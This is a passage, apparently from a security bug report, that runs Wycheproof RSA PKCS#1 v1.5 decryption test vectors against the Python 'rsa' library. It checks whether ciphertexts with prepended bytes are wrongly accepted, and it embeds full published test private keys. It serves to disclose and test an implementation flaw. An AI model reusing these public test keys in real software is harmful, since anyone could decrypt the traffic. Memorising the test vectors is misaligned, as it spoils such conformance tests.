8564ed379bc0084806cec50806e1c86728b7cd2b606212a43267bf694d6453dcc9e73f5b798a49a4331d263a2222154b5d834a43490281c018cc971e9186f86c144d140ceabbc9ae22c94e8d8575356fb6a4a033991ef210bafa39a4cd1abfa99b332fde9e56955af179459a7236a700b7fd1d88093906f6130ae7ca9742d9ed0d5c63e6a9e9b43df4d8b261c12d2c2f9148bc0669f165b8b881879c3ed58d4a6cd5a3f1193e9abd2784609c01fb9094c7c822532ad7aec2a08aee9e263095ad0426455cb59258c7fd3731ca89dee31800d191ed7249721c25266650c46dcbfbae3070604d2e009914a2e269a01bafa5bdf8bba31c4f3b60", "type" : "RsaesPkcs1Decrypt", { "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "000063b63f6eb3fd2322a6c85ed16318932e83f32535b3ec2527fb41dcc865bc44690554467655034ad33aa0fa993788e80654ab0e0174f8dd238ad68c3bc194f390dd38d26408778774848c49a6a606e7fb1b3bfbf5f19db4d4d1ba2db43fefb9a9bac311f2e1fc1ab4f5ddc00a009b9dc435448f250a648b206fe764505805c9bed1729d5bfeaa4fddafc115d281703fab0e79726d5546fa698a45ca6e5e561b8c2964b2da01914f808a498ab77672eda3432ed9974f0a06d320ff87a4222899f893a6cb6abf13d7e56cce2ee7eae67fc26f2274b63ce8301c721d7195158b6c966b8d36e3cff0aec6f218b0fa6d8490493471ee0f08b840b6cdcbb73a164246864de0f35565bbebe51585819e42a425090479537ed67f98236415e6ad3ca81116beb91db802dfb3f9da733f86cb6fa90904c8a382afcbf6162f0d89ee04973f2d26659325f7f00a4ae9e800de6aa27b6c94b9d57791658eb0714b7cba5466ecfe44bd5803647c3825b58c37187311a8b11399f53a877c265da82493a90869e376", "result" : "invalid", "flags" : [] }, """ print("\nTest with prepended bytes to ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("000063b63f6eb3fd2322a6c85ed16318932e83f32535b3ec2527fb41dcc865bc44690554467655034ad33aa0fa993788e80654ab0e0174f8dd238ad68c3bc194f390dd38d26408778774848c49a6a606e7fb1b3bfbf5f19db4d4d1ba2db43fefb9a9bac311f2e1fc1ab4f5ddc00a009b9dc435448f250a648b206fe764505805c9bed1729d5bfeaa4fddafc115d281703fab0e79726d5546fa698a45ca6e5e561b8c2964b2da01914f808a498ab77672eda3432ed9974f0a06d320ff87a4222899f893a6cb6abf13d7e56cce2ee7eae67fc26f2274b63ce8301c721d7195158b6c966b8d36e3cff0aec6f218b0fa6d8490493471ee0f08b840b6cdcbb73a164246864de0f35565bbebe51585819e42a425090479537ed67f98236415e6ad3ca81116beb91db802dfb3f9da733f86cb6fa90904c8a382afcbf6162f0d89ee04973f2d26659325f7f00a4ae9e800de6aa27b6c94b9d57791658eb0714b7cba5466ecfe44bd5803647c3825b58c37187311a8b11399f53a877c265da82493a90869e376") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) print("\nTest with original ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("63b63f6eb3fd2322a6c85ed16318932e83f32535b3ec2527fb41dcc865bc44690554467655034ad33aa0fa993788e80654ab0e0174f8dd238ad68c3bc194f390dd38d26408778774848c49a6a606e7fb1b3bfbf5f19db4d4d1ba2db43fefb9a9bac311f2e1fc1ab4f5ddc00a009b9dc435448f250a648b206fe764505805c9bed1729d5bfeaa4fddafc115d281703fab0e79726d5546fa698a45ca6e5e561b8c2964b2da01914f808a498ab77672eda3432ed9974f0a06d320ff87a4222899f893a6cb6abf13d7e56cce2ee7eae67fc26f2274b63ce8301c721d7195158b6c966b8d36e3cff0aec6f218b0fa6d8490493471ee0f08b840b6cdcbb73a164246864de0f35565bbebe51585819e42a425090479537ed67f98236415e6ad3ca81116beb91db802dfb3f9da733f86cb6fa90904c8a382afcbf6162f0d89ee04973f2d26659325f7f00a4ae9e800de6aa27b6c94b9d57791658eb0714b7cba5466ecfe44bd5803647c3825b58c37187311a8b11399f53a877c265da82493a90869e376") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) ``` 4096-bit test vector: ``` import rsa from rsa import PrivateKey import json """ { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "00d3519bd86edf5dbe9c64a3781713dd049b747f5651fd918cce8a9b80b6d6a2fb6aab334ab569a89b58982e0aae373090299fa227f9652b802d23ee5ca6824c433d01d40bb0473b16190a8bfb137c0a704b4f49b45015bfbee1f670446f07595259d70c7d79ae95f9b2543b0162ebb763ebb81c4b6edff9d197dede1dbe57e40466d156d4dfd5d7634c45534fb2bbbd1bf257817a173c0795fdbcc533976f4a0d04160f299af5dc272a814b36d5bae5116b9542178f1d554cab7a6453035482b981add4bd8ffd5d500839b23e30ebd3f3868f07584cbd12ba089325982860f69f2bdc7077b6c60f58a2272823379e1023704165f7c14f64a18fd5b245a18149b7eda3385a56ba9e79502a27bf13865cde35be15de03d06aa6f08b172b7eeb4b73cbc157019c5d933584a8d1add61b7dbca3b253ca0cf93dc9a8a3aac2f50227022e692f7b4767556620cc928d63e31078c360e2ab4b71a917e19e7eb09380482e5b4ea88202871c2a29ca6f66b2fe304af609520e4f81d64c26768bb812a86679366611f4cf6e89e2bd1d9d7e28729c7f0e4e3152d7ad7f186fa32f01e169ff06a12001bc179dfd0dc942cbabc555f67f5fd043e0a3354340fa490d2f123367be926eb3e1dffe70c3151c87450f3217dc2aa0b5a7069c5a17d55614c9994139f7b37b49e9fe780af65a0e89e2e58feaaffe163bc9d19eafd9cd29b0ef3cef3d01", "e" : "010001", "keysize" : 4096, "n" : "00f601be0dccd04aa40b12f3f191ae17c1f9c8c0b68e7a77e14be25c3c7907cb1d33a6ef418ef41852f32c98392bc5c9aed91c1a1501c503eab89b3ee6f4f8eb2e0fcfc41bd03609cf6a8eb3aa6f0fbe23187b33db4d34b66d128a8aba0a2abf40bb9d13d8e2554569a57ab1d8c61b8cad2dc88599ae0da5346e15dace1bac7bf69737c22f083be9b46bb8b1eab5957b2da740275e96c87195b96fe11452159dafcfd916cee5d749a77bc3905a5ebd387ae445e8fe70f16e9a086639779ceffbfd41557bd99aea6a371a6b4b160615a1a12bc6958d34bce0c85adcbd8392fa10ceca52209d56196ba3d273ce228f1f111192aa92de2a039798a17bcecb4dc6100e6f8ae8c2643f2ae768b2255f082c978e95ca551555f10608231cf8003bbf807969fff1e51914b9a8c9b8f4564645b9e5d705ffad29663f5dae3d76652b422e43f13e6c1491090805c2d1268a74a251177427e33a9a91175c3670b91746008bce1fd231e6e4f2ad70cb43aca5f07600a6d31dd02915243dfdd943a02165da367a6b7e4dae1dd2e8b836903080795d2585076cc1c15dd9e8d2e5e047526569b1bfd395d957eb9fde325d342d14426e71efdc1887515e53cdea5834921f928629e748eed097ac4024e2bf255d70411f87373948cf8e8aa7effa2b0ab47d5166091e1aedec60568b155bd9c27bc55f3ece35f83d636dbcd5abf4853a051db94d5045", "privateKeyJwk" : { "alg" : "RSA1_5", "d" : "01Gb2G7fXb6cZKN4FxPdBJt0f1ZR_ZGMzoqbgLbWovtqqzNKtWmom1iYLgquNzCQKZ-iJ_llK4AtI-5cpoJMQz0B1AuwRzsWGQqL-xN8CnBLT0m0UBW_vuH2cERvB1lSWdcMfXmulfmyVDsBYuu3Y-u4HEtu3_nRl97eHb5X5ARm0VbU39XXY0xFU0-yu70b8leBehc8B5X9vMUzl29KDQQWDyma9dwnKoFLNtW65RFrlUIXjx1VTKt6ZFMDVIK5ga3UvY_9XVAIObI-MOvT84aPB1hMvRK6CJMlmChg9p8r3HB3tsYPWKInKCM3nhAjcEFl98FPZKGP1bJFoYFJt-2jOFpWup55UConvxOGXN41vhXeA9BqpvCLFyt-60tzy8FXAZxdkzWEqNGt1ht9vKOyU8oM-T3JqKOqwvUCJwIuaS97R2dVZiDMko1j4xB4w2Diq0txqRfhnn6wk4BILltOqIIChxwqKcpvZrL-MEr2CVIOT4HWTCZ2i7gSqGZ5NmYR9M9uieK9HZ1-KHKcfw5OMVLXrX8Yb6MvAeFp_wahIAG8F539DclCy6vFVfZ_X9BD4KM1Q0D6SQ0vEjNnvpJus-Hf_nDDFRyHRQ8yF9wqoLWnBpxaF9VWFMmZQTn3s3tJ6f54CvZaDoni5Y_qr_4WO8nRnq_ZzSmw7zzvPQE", "dp" : "gVSGqrCgiWv5fxPj6x9_XEkZW0nMO2J3QSo2iHmLGPRkIt9HnLlBs7VOJZZKPWm4l7zINVFg5YtK8p8XRd0sq7Zw9jS5wFjms1FJR_LCfeXtQk9zseHxvkoYiRGgMz86Zohliz7o4yZaUS5N6srcRw7jBOu1IkEjr7RhmE_oUk_gtrMNMqWfbtLcdKlrx8v9G7ROWKcJIjXF1icuEqLIYsuMjPXRCapPscZHKHWhRGDB7VIHxLIrxJTHlH63ymOoyv0xNh0ADd8WotefE92RQNl5FJtIjL9ElFpbaq8TIhv0SR67t_yifKIOIh9Jw8N7ifzy3A4stj-Pipt6FCJQWQ", "dq" : "th2E_5NKTkN7Fu4bS5_fSuEzcLU4W956VGShI8A0PfV1-eEo7535RCMNOcyc9dwO2yi350C2nvAkwb_uOfzVNA_66gAQFgxTXcCSDnzYG-Uz0A-lVKH8TT4CxGFWn158p4fxUV7fRbGWt1mITeZSw41ZNM-SUk6Ae007WQvDm8QX7kiFp2HSjdrc5sj9s7lh0-f9SAZN-TQKln-LeZl0OIQfSFeaR23bVQiMMI9o8rKdAcZZelp8jQZihPY-N6aMOHnDKqODZnX9DrJxmIOpGURWHp3X6KprsXFX8IxI-Ob65cPlortrXVgO7GyX3c2b4KSe8oOnAxrXq6jUON9OlQ", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "9gG-DczQSqQLEvPxka4XwfnIwLaOenfhS-JcPHkHyx0zpu9BjvQYUvMsmDkrxcmu2RwaFQHFA-q4mz7m9PjrLg_PxBvQNgnPao6zqm8PviMYezPbTTS2bRKKiroKKr9Au50T2OJVRWmlerHYxhuMrS3IhZmuDaU0bhXazhuse_aXN8IvCDvptGu4seq1lXstp0AnXpbIcZW5b-EUUhWdr8_ZFs7l10mne8OQWl69OHrkRej-cPFumghmOXec7_v9QVV72Zrqajcaa0sWBhWhoSvGlY00vODIWty9g5L6EM7KUiCdVhlro9JzziKPHxERkqqS3ioDl5ihe87LTcYQDm-K6MJkPyrnaLIlXwgsl46VylUVVfEGCCMc-AA7v4B5af_x5RkUuajJuPRWRkW55dcF_60pZj9drj12ZStCLkPxPmwUkQkIBcLRJop0olEXdCfjOpqRF1w2cLkXRgCLzh_SMebk8q1wy0OspfB2AKbTHdApFSQ9_dlDoCFl2jZ6a35Nrh3S6Lg2kDCAeV0lhQdswcFd2ejS5eBHUmVpsb_TldlX65_eMl00LRRCbnHv3BiHUV5TzepYNJIfkoYp50ju0JesQCTivyVdcEEfhzc5SM-Oiqfv-isKtH1RZgkeGu3sYFaLFVvZwnvFXz7ONfg9Y2281av0hToFHblNUEU", "p" : "_CG4VcWtTKK2lwUWQG9xxuee_EEm5lmHctseCC3msN3aqiopUfBBSOhuC94oITt_YA-YcwgwHqzqE0Biuww932KNqav5PvHOPnWwlTpITb01VL1cBkmTPdd-UnVj6Q8FqAE_3ayVjDKTeOlDA7MEvl-d8f5bBDp_3ZRwCj8LHLvQUWt82UxXypbZ_SqMqXOZEhjLozocI9gQ91GdH3cCq3Kv_bP4ShsqiBFuQDO8TQz8eYnGV-D-lOlkR2rli65reHbzbAnTKxpj-MR8lKdMku7fdfwnz_4PhFI2PkvI92U_PLVer2k87HDRPIdd6TWosgQ5q36T92mBxZV_xbtE2Q", "q" : "-cf3SKUF0j7O-ahfgJfIz31wKO9skOIqM2URWC0sw2NuNOrTcgTb0i8UKj-x1fhXsDEMekM_Ua4U1GCLAbQ6qMeuZ4Nff74LnZeUiznpui06FoftuLVu5w_wU22rTQVR9x7Q2u6eQSRJ9fCZvMFeTvBVTcefh_7FoN6nF8cFQ5K_REYTk3QBu-88Ivv35zjFh3m5gWCaH5wR3W8LvpmW4nc0WeTO8kewKp_CEpasV6WxBWGCQxDPvezJDgZZg3DjaYcT_b4lKOxO89zKrnAe7cPlStbnr05o47Ob0ul6yRGZNsZHpQNRHLKD35hM_XwH8PVqqK4xZpSO8_QbCFmTTQ", "qi" : "IvuOX82bdnEE5xJE21MFjBgGHhsNH2O3Pi1ZqV4qEM2HQmoz2hPCh83vgTbl5H6T-5swrZJiintUP0jrARqGNWqzy0gPJ-ORsBjKGH2Xrz2C4xhh7K-mY9t4qonDvUaOaq3vs6Q_eLwAuAFMldtU6dIaAX6PIfZxVF7d6all6jLf_0XNo3_KGqUTL2yO7SIr0B_tWm59Y5WAxZVXd6hlRMLEyTm9uLTEht2lMHKGGgM0NZvbN1hHXknZDQU5lE54z8_Y__Vbsxoc68ZbKPUeeQcBsveRIYiYTwNObpbhxSUeM_44-yIbznqQqGhXxfVrbKdzB8RdUpCx8Iit4IKzSQ" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : 